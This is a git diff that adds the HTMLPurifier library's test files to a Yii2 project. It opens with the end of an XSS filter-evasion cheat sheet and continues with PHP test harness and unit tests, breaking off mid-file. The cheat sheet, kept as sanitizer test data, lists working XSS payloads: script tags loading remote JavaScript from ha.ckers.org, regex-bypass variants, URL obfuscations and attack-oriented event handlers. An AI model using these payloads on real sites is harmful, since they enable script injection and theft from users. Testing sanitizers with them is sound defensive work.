add extra data to your page, but it does allow the "javascript:" directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes that there is at least one HTML tag below where you are injecting this cross site scripting vector. Even though there is no close > tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. See http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-mookhey/bh-us-04-mookhey-up.ppt for more info. It gets around the following NIDS regex: + /((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/ +As a side note, this was also effective against a real world XSS filter I came across using an open ended <IFRAME tag instead of an <IMG tag. + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + + Double open angle brackets + <IFRAME SRC=http://ha.ckers.org/scriptlet.html < + This is an odd one that Steven Christey brought to my attention. At first I misclassified this as the same XSS vector as above but it's surprisingly different. Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won't + + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + Extraneous Open Brackets + <<SCRIPT>alert("XSS");//<</SCRIPT> + (Submitted by Franz Sedlmaier http://www.pilorz.net/). This XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore (http://www.cs.utexas.edu/users/moore/best-ideas/string-searching/) that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error. + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + Malformed IMG Tags + <IMG """><SCRIPT>alert("XSS")</SCRIPT>"> + Originally found by Begeek (http://www.begeek.it/2006/03/18/esclusivo-vulnerabilita-xss-in-firefox/#more-300 - cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag. + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + No Quotes/Semicolons + <SCRIPT>a=/XSS/ +alert(a.source)</SCRIPT> + No single quotes or double quotes or semicolons. + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + Event Handlers List 1 + See Below + Event Handlers that can be used in XSS attacks (this is the most comprehensive list on the net, at the time of this writing). Each one may have different results in different browsers. Thanks to Rene Ledosquet (http://www.secaron.de/) for the HTML+TIME updates: + +-FSCommand() (execute from within an embedded Flash object) + +-onAbort() (when user aborts the loading of an image) + +-onActivate() (when object is set as the active element) + +-onAfterPrint() (activates after user prints or previews print job) + +-onAfterUpdate() (activates on data object after updating data in the source object) + +-onBeforeActivate() (fires before the object is set as the active element) + +-onBeforeCopy() (attacker executes the attack string right before a selection is copied to the clipboard (use the execCommand("Copy") function) + +-onBeforeCut() (attacker executes the attack string right before a selection is cut) + +-onBeforeDeactivate() (fires right after the activeElement is changed from the current object) + +-onBeforeEditFocus() (fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected) + +-onBeforePaste() (user needs to be tricked into pasting or be forced into it using the execCommand("Paste") function) + +-onBeforePrint() (user would need to be tricked into printing or attacker could use the print() or execCommand("Print") function) + +-onBeforeUnload() (user would need to be tricked into closing the browser - attacker cannot unload windows unless it was spawned from the parent) + +-onBegin() (fires immediately when the element's timeline begins) + +-onBlur() (in the case where another popup is loaded and window loses focus) + +-onBounce() (fires when the behavior property of the marquee object is set to "alternate" and the contents of the marquee reach one side of the window) + +-onCellChange() (fires when data changes in the data provider) + +-onChange() (fires when select, text, or TEXTAREA field loses focus and its value has been modified) + +-onClick() (fires when someone clicks on a form) + +-onContextMenu() (user would need to right click on attack area) + +-onControlSelect() (fires when the user is about to make a control selection of the object) + +-onCopy() (user needs to copy something or it can be exploited using the execCommand("Copy") command) + +-onCut() (user needs to copy something or it can be exploited using the execCommand("Cut") command) + +-onDataAvailible() (user would need to change data in an element, or attacker could perform the same function) + +-onDataSetChanged() (fires when the data set exposed by a data source object changes) + +-onDataSetComplete() (fires to indicate that all data is available from the data source object) + +-onDblClick() (fires when user double-clicks a form element or a link) + +-onDeactivate() (fires when the activeElement is changed from the current object to another object in the parent document) + +-onDrag() (requires that the user drags an object) + +-onDragEnd() (requires that the user drags an object) + +-onDragLeave() (requires that the user drags an object off a valid location) + +-onDragEnter() (requires that the user drags an object into a valid location) + +-onDragOver() (requires that the user drags an object into a valid location) + +-onDragDrop() (user drops an object (e.g. file) onto the browser window) + +-onDrop() (fires when user drops an object (e.g. file) onto the browser window) + + + + Browser support: + + + Event Handlers List 2 + See Below + + -onEnd() (fires when the timeline ends. This can be exploited, like most of the HTML+TIME event handlers by doing something like <P STYLE="behavior:url('#default#time2')" onEnd="alert('XSS')">) + +-onError() (loading of a document or image causes an error) + +-onErrorUpdate() (fires on a databound object when an error occurs while updating the associated data in the data source object) + +-onFilterChange() (fires when a visual filter completes state change) + +-onFinish() (attacker could create the exploit when marquee is finished looping) + +-onFocus() (attacker executes the attack string when the window gets focus) + +-onFocusIn() (attacker executes the attack string when window gets focus) + +-onFocusOut() (attacker executes the attack string when window loses focus) + +-onHelp() (attacker executes the attack string when users hits F1 while the window is in focus) + +-onKeyDown() (fires when user depresses a key) + +-onKeyPress() (fires when user presses or holds down a key) + +-onKeyUp() (fires when user releases a key) + +-onLayoutComplete() (user would have to print or print preview) + +-onLoad() (attacker executes the attack string after the window loads) + +-onLoseCapture() (can be exploited by the releaseCapture() method) + +-onMediaComplete() (when a streaming media file is used, this event could fire before the file starts playing) + +-onMediaError() (User opens a page in the browser that contains a media file, and the event fires when there is a problem) + +-onMouseDown() (the attacker would need to get the user to click on an image) + +-onMouseEnter() (fires when cursor moves over an object or area) + +-onMouseLeave() (the attacker would need to get the user to mouse over an image or table and then off again) + +-onMouseMove() (the attacker would need to get the user to mouse over an image or table) + +-onMouseOut() (the attacker would need to get the user to mouse over an image or table and then off again) + +-onMouseOver() (fires when cursor moves over an object or area) + +-onMouseUp() (the attacker would need to get the user to click on an image) + +-onMouseWheel() (the attacker would need to get the user to use their mouse wheel) + +-onMove() (user or attacker would move the page) + +-onMoveEnd() (user or attacker would move the page) + +-onMoveStart() (user or attacker would move the page) + +-onOutOfSync() (interrupt the element's ability to play its media as defined by the timeline) + +-onPaste() (user would need to paste or attacker could use the execCommand("Paste") function) + +-onPause() (fires on every element that is active when the timeline pauses, including the body element) + +-onProgress() (attacker would use this as a flash movie was loading) + +-onPropertyChange() (user or attacker would need to change an element property) + +-onReadyStateChange() (user or attacker would need to change an element property) + + + + Browser support: + + + Event Handlers List 3 + See Below + -onRepeat() (fires once for each repetition of the timeline, excluding the first full cycle) + +-onReset() (fires when user or attacker resets a form) + +-onResize() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>) + +-onResizeEnd() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>) + +-onResizeStart() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>) + +-onResume() (fires on every element that becomes active when the timeline resumes, including the body element) + +-onReverse() (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward) + +-onRowEnter() (user or attacker would need to change a row in a data source) + +-onRowExit() (user or attacker would need to change a row in a data source) + +-onRowDelete() (user or attacker would need to delete a row in a data source) + +-onRowInserted() (user or attacker would need to insert a row in a data source) + +-onScroll() (user would need to scroll, or attacker could use the scrollBy() function) + +-onSeek() (fires when the timeline is set to play in any direction other than forward) + +-onSelect() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");) + +-onSelectionChange() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");) + +-onSelectStart() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");) + +-onStart() (fires at the beginning of each marquee loop) + +-onStop() (user would need to press the stop button or leave the webpage) + +-onSynchRestored() (user interrupts the element's ability to play its media as defined by the timeline to fire) + +-onSubmit() (requires attacker or user submits a form) + +-onTimeError() (fires when user or attacker sets a time property, such as "dur", to an invalid value) + +-onTrackChange() (fires when user or attacker changes track in a playList) + +-onUnload() (fires when the user clicks any link or presses the back button or attacker forces a click) + +-onURLFlip() (fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file) + +-seekSegmentTime() (locates the specified point on the element's segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.) + + + + Browser support: + + + Evade Regex Filter 1 + <SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT> + + For performing XSS on sites that allow "<SCRIPT>" but don't allow "<SCRIPT SRC..." by way of the following regex filter: + /<script[^>]+src/i + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + Evade Regex Filter 2 + <SCRIPT ="blah" SRC="http://ha.ckers.org/xss.js"></SCRIPT> + For performing XSS on sites that allow "<SCRIPT>" but don't allow "<SCRIPT SRC..." by way of a regex filter: + /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i + +(this is an important one, because I've seen this regex in the wild) + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + Evade Regex Filter 3 + <SCRIPT a="blah" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT> + Another XSS to evade this regex filter: + /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + Evade Regex Filter 4 + <SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT> + Yet another XSS to evade the same filter: + /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i +The only thing I've seen work against this XSS attack if you still want to allow <SCRIPT> tags but not remote scripts is a state machine (and of course there are other ways to get around this if they allow <SCRIPT> tags) + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + Evade Regex Filter 5 + <SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT> + And one last XSS attack (using grave accents) to evade this regex: + /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + Filter Evasion 1 + <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT> + + This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + Filter Evasion 2 + <SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT> + Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly. + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + IP Encoding + <A HREF="http://66.102.7.147/">XSS</A> + URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + URL Encoding + <A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A> + URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + Dword Encoding + <A HREF="http://1113982867/">XSS</A> + URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + Hex Encoding + <A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A> + URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). +The total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit, and since the hex number is between 0 and F the leading zero on the third hex digit is not required. + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + Octal Encoding + <A HREF="http://0102.0146.0007.00000223/">XSS</A> + URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). +Padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc... + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + Mixed Encoding + <A HREF="h tt p://6&#09;6.000146.0x7.147/">XSS</A> + URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). +The tabs and newlines only work if this is encapsulated with quotes. + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + Protocol Resolution Bypass + <A HREF="//www.google.com/">XSS</A> + URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). +Protocol resolution bypass (// translates to http:// which saves a few more bytes). This is really handy when space is an issue too (two less characters can go a long way) and can easily bypass regex like "(ht|f)tp(s)?://" (thanks to Ozh (http://planetOzh.com/) for part of this one). You can also change the "//" to "\\". You do need to keep the slashes in place, however, otherwise this will be interpreted as a relative path URL. + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + Firefox Lookups 1 + <A HREF="//google">XSS</A> + Firefox uses Google's "feeling lucky" function to redirect the user to any keywords you type in. So if your exploitable page is the top for some random keyword (as you see here) you can use that feature against any Firefox user. This uses Firefox's "keyword:" protocol. You can concatenate several keywords by using something like the following "keyword:XSS+RSnake" + + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + Firefox Lookups 2 + <A HREF="http://ha.ckers.org@google">XSS</A> + This uses a very tiny trick that appears to work Firefox only, because if it's implementation of the "feeling lucky" function. Unlike the next one this does not work in Opera because Opera believes that this is the old HTTP Basic Auth phishing attack, which it is not. It's simply a malformed URL. If you click okay on the dialogue it will work, but as a result of the erroneous dialogue box I am saying that this is not supported in Opera. + + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + Firefox Lookups 3 + <A HREF="http://google:ha.ckers.org">XSS</A> + This uses a malformed URL that appears to work in Firefox and Opera only, because if their implementation of the "feeling lucky" function. Like all of the above it requires that you are #1 in Google for the keyword in question (in this case "google"). + + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + Removing Cnames + <A HREF="http://google.com/">XSS</A> + URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). +When combined with the above URL, removing "www." will save an additional 4 bytes for a total byte savings of 9 for servers that have this set up properly. + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + Extra dot for Absolute DNS + <A HREF="http://www.google.com./">XSS</A> + URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + JavaScript Link Location + <A HREF="javascript:document.location='http://www.google.com/'">XSS</A> + URL string evasion (assuming "http://www.google.com/" is programmatically disallowed) +JavaScript link location + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + Content Replace + <A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A> + Content replace as an attack vector (assuming "http://www.google.com/" is programmatically replaced with null). I actually used a similar attack vector against a several separate real world XSS filters by using the conversion filter itself (like http://quickwired.com/kallahar/smallprojects/php_xss_filter_function.php) to help create the attack vector ("java&#x26;#x09;script:" was converted into "java&#x09;script:". + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/test-settings.sample.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/test-settings.sample.php new file mode 100644 index 00000000..886b9748 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/test-settings.sample.php @@ -0,0 +1,76 @@ +_command = $command; + $this->_quiet = $quiet; + $this->_size = $size; + } + public function getLabel() + { + return $this->_command; + } + public function run($reporter) + { + if (!$this->_quiet) $reporter->paintFormattedMessage('Running ['.$this->_command.']'); + return $this->_invokeCommand($this->_command, $reporter); + } + public function _invokeCommand($command, $reporter) + { + $xml = shell_exec($command); + if (! $xml) { + if (!$this->_quiet) { + $reporter->paintFail('Command did not have any output [' . $command . ']'); + } + return false; + } + $parser = $this->_createParser($reporter); + + set_error_handler(array($this, '_errorHandler')); + $status = $parser->parse($xml); + restore_error_handler(); + + if (! $status) { + if (!$this->_quiet) { + foreach ($this->_errors as $error) { + list($no, $str, $file, $line) = $error; + $reporter->paintFail("Error $no: $str on line $line of $file"); + } + if (strlen($xml) > 120) { + $msg = substr($xml, 0, 50) . "...\n\n[snip]\n\n..." . substr($xml, -50); + } else { + $msg = $xml; + } + $reporter->paintFail("Command produced malformed XML"); + $reporter->paintFormattedMessage($msg); + } + return false; + } + return true; + } + public function _createParser($reporter) + { + $parser = new SimpleTestXmlParser($reporter); + return $parser; + } + public function getSize() + { + // This code properly does the dry run and allows for proper test + // case reporting but it's REALLY slow, so I don't recommend it. + if ($this->_size === false) { + $reporter = new SimpleReporter(); + $this->_invokeCommand($this->_command . ' --dry', $reporter); + $this->_size = $reporter->getTestCaseCount(); + } + return $this->_size; + } + public function _errorHandler($a, $b, $c, $d) + { + $this->_errors[] = array($a, $b, $c, $d); // see set_error_handler() + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/Debugger.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/Debugger.php new file mode 100644 index 00000000..918320a4 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/Debugger.php @@ -0,0 +1,164 @@ +paint($mixed); +} +function paintIf($mixed, $conditional) +{ + $Debugger =& Debugger::instance(); + return $Debugger->paintIf($mixed, $conditional); +} +function paintWhen($mixed, $scopes = array()) +{ + $Debugger =& Debugger::instance(); + return $Debugger->paintWhen($mixed, $scopes); +} +function paintIfWhen($mixed, $conditional, $scopes = array()) +{ + $Debugger =& Debugger::instance(); + return $Debugger->paintIfWhen($mixed, $conditional, $scopes); +} +function addScope($id = false) +{ + $Debugger =& Debugger::instance(); + return $Debugger->addScope($id); +} +function removeScope($id) +{ + $Debugger =& Debugger::instance(); + return $Debugger->removeScope($id); +} +function resetScopes() +{ + $Debugger =& Debugger::instance(); + return $Debugger->resetScopes(); +} +function isInScopes($array = array()) +{ + $Debugger =& Debugger::instance(); + return $Debugger->isInScopes($array); +} +/**#@-*/ + + +/** + * The debugging singleton. Most interesting stuff happens here. + */ +class Debugger +{ + + public $shouldPaint = false; + public $paints = 0; + public $current_scopes = array(); + public $scope_nextID = 1; + public $add_pre = true; + + public function Debugger() + { + $this->add_pre = !extension_loaded('xdebug'); + } + + public static function &instance() { + static $soleInstance = false; + if (!$soleInstance) $soleInstance = new Debugger(); + return $soleInstance; + } + + public function paintIf($mixed, $conditional) + { + if (!$conditional) return; + $this->paint($mixed); + } + + public function paintWhen($mixed, $scopes = array()) + { + if (!$this->isInScopes($scopes)) return; + $this->paint($mixed); + } + + public function paintIfWhen($mixed, $conditional, $scopes = array()) + { + if (!$conditional) return; + if (!$this->isInScopes($scopes)) return; + $this->paint($mixed); + } + + public function paint($mixed) + { + $this->paints++; + if($this->add_pre) echo '
        ';
        +        var_dump($mixed);
        +        if($this->add_pre) echo '
        '; + } + + public function addScope($id = false) + { + if ($id == false) { + $id = $this->scope_nextID++; + } + $this->current_scopes[$id] = true; + } + + public function removeScope($id) + { + if (isset($this->current_scopes[$id])) unset($this->current_scopes[$id]); + } + + public function resetScopes() + { + $this->current_scopes = array(); + $this->scope_nextID = 1; + } + + public function isInScopes($scopes = array()) + { + if (empty($this->current_scopes)) { + return false; + } + if (!is_array($scopes)) { + $scopes = array($scopes); + } + foreach ($scopes as $scope_id) { + if (empty($this->current_scopes[$scope_id])) { + return false; + } + } + if (empty($scopes)) { + if ($this->scope_nextID == 1) { + return false; + } + for($i = 1; $i < $this->scope_nextID; $i++) { + if (empty($this->current_scopes[$i])) { + return false; + } + } + } + return true; + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/FSTools/FileSystemHarness.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/FSTools/FileSystemHarness.php new file mode 100644 index 00000000..8e2e2191 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/FSTools/FileSystemHarness.php @@ -0,0 +1,40 @@ +dir = 'tmp/' . md5(uniqid(rand(), true)) . '/'; + mkdir($this->dir); + $this->oldDir = getcwd(); + + } + + public function __destruct() + { + FSTools::singleton()->rmdirr($this->dir); + } + + public function setup() + { + chdir($this->dir); + } + + public function tearDown() + { + chdir($this->oldDir); + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/FSTools/FileTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/FSTools/FileTest.php new file mode 100644 index 00000000..5952dcd5 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/FSTools/FileTest.php @@ -0,0 +1,49 @@ +assertFalse($file->exists()); + $file->write('foobar'); + $this->assertTrue($file->exists()); + $this->assertEqual($file->get(), 'foobar'); + $file->delete(); + $this->assertFalse($file->exists()); + } + + public function testGetNonExistent() + { + $name = 'notfound.txt'; + $file = new FSTools_File($name); + $this->expectError(); + $this->assertFalse($file->get()); + } + + public function testHandle() + { + $file = new FSTools_File('foo.txt'); + $this->assertFalse($file->exists()); + $file->open('w'); + $this->assertTrue($file->exists()); + $file->put('Foobar'); + $file->close(); + $file->open('r'); + $this->assertIdentical('F', $file->getChar()); + $this->assertFalse($file->eof()); + $this->assertIdentical('oo', $file->read(2)); + $this->assertIdentical('bar', $file->getLine()); + $this->assertTrue($file->eof()); + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrCollectionsTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrCollectionsTest.php new file mode 100644 index 00000000..d18c036c --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrCollectionsTest.php @@ -0,0 +1,134 @@ +attr_collections = array( + 'Core' => array( + 0 => array('Soup', 'Undefined'), + 'attribute' => 'Type', + 'attribute-2' => 'Type2', + ), + 'Soup' => array( + 'attribute-3' => 'Type3-old' // overwritten + ) + ); + + $modules['Module2'] = new HTMLPurifier_HTMLModule(); + $modules['Module2']->attr_collections = array( + 'Core' => array( + 0 => array('Brocolli') + ), + 'Soup' => array( + 'attribute-3' => 'Type3' + ), + 'Brocolli' => array() + ); + + $collections->__construct($types, $modules); + // this is without identifier expansion or inclusions + $this->assertIdentical( + $collections->info, + array( + 'Core' => array( + 0 => array('Soup', 'Undefined', 'Brocolli'), + 'attribute' => 'Type', + 'attribute-2' => 'Type2' + ), + 'Soup' => array( + 'attribute-3' => 'Type3' + ), + 'Brocolli' => array() + ) + ); + + } + + public function test_performInclusions() + { + generate_mock_once('HTMLPurifier_AttrTypes'); + + $types = new HTMLPurifier_AttrTypesMock(); + $collections = new HTMLPurifier_AttrCollections($types, array()); + $collections->info = array( + 'Core' => array(0 => array('Inclusion', 'Undefined'), 'attr-original' => 'Type'), + 'Inclusion' => array(0 => array('SubInclusion'), 'attr' => 'Type'), + 'SubInclusion' => array('attr2' => 'Type') + ); + + $collections->performInclusions($collections->info['Core']); + $this->assertIdentical( + $collections->info['Core'], + array( + 'attr-original' => 'Type', + 'attr' => 'Type', + 'attr2' => 'Type' + ) + ); + + // test recursive + $collections->info = array( + 'One' => array(0 => array('Two'), 'one' => 'Type'), + 'Two' => array(0 => array('One'), 'two' => 'Type') + ); + $collections->performInclusions($collections->info['One']); + $this->assertIdentical( + $collections->info['One'], + array( + 'one' => 'Type', + 'two' => 'Type' + ) + ); + + } + + public function test_expandIdentifiers() + { + generate_mock_once('HTMLPurifier_AttrTypes'); + + $types = new HTMLPurifier_AttrTypesMock(); + $collections = new HTMLPurifier_AttrCollections($types, array()); + + $attr = array( + 'attr1' => 'Color', + 'attr2*' => 'URI' + ); + $c_object = new HTMLPurifier_AttrDef_HTML_Color(); + $u_object = new HTMLPurifier_AttrDef_URI(); + + $types->setReturnValue('get', $c_object, array('Color')); + $types->setReturnValue('get', $u_object, array('URI')); + + $collections->expandIdentifiers($attr, $types); + + $u_object->required = true; + $this->assertIdentical( + $attr, + array( + 'attr1' => $c_object, + 'attr2' => $u_object + ) + ); + + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/AlphaValueTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/AlphaValueTest.php new file mode 100644 index 00000000..b360f844 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/AlphaValueTest.php @@ -0,0 +1,28 @@ +def = new HTMLPurifier_AttrDef_CSS_AlphaValue(); + + $this->assertDef('0'); + $this->assertDef('1'); + $this->assertDef('.2'); + + // clamping to [0.0, 1,0] + $this->assertDef('1.2', '1'); + $this->assertDef('-3', '0'); + + $this->assertDef('0.0', '0'); + $this->assertDef('1.0', '1'); + $this->assertDef('000', '0'); + + $this->assertDef('asdf', false); + + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BackgroundPositionTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BackgroundPositionTest.php new file mode 100644 index 00000000..61952d66 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BackgroundPositionTest.php @@ -0,0 +1,68 @@ +def = new HTMLPurifier_AttrDef_CSS_BackgroundPosition(); + + // explicitly cited in spec + $this->assertDef('0% 0%'); + $this->assertDef('100% 100%'); + $this->assertDef('14% 84%'); + $this->assertDef('2cm 1cm'); + $this->assertDef('top'); + $this->assertDef('left'); + $this->assertDef('center'); + $this->assertDef('right'); + $this->assertDef('bottom'); + $this->assertDef('left top'); + $this->assertDef('center top'); + $this->assertDef('right top'); + $this->assertDef('left center'); + $this->assertDef('right center'); + $this->assertDef('left bottom'); + $this->assertDef('center bottom'); + $this->assertDef('right bottom'); + + // reordered due to internal impl details + $this->assertDef('top left', 'left top'); + $this->assertDef('top center', 'top'); + $this->assertDef('top right', 'right top'); + $this->assertDef('center left', 'left'); + $this->assertDef('center center', 'center'); + $this->assertDef('center right', 'right'); + $this->assertDef('bottom left', 'left bottom'); + $this->assertDef('bottom center', 'bottom'); + $this->assertDef('bottom right', 'right bottom'); + + // more cases from the defined syntax + $this->assertDef('1.32in 4ex'); + $this->assertDef('-14% -84.65%'); + 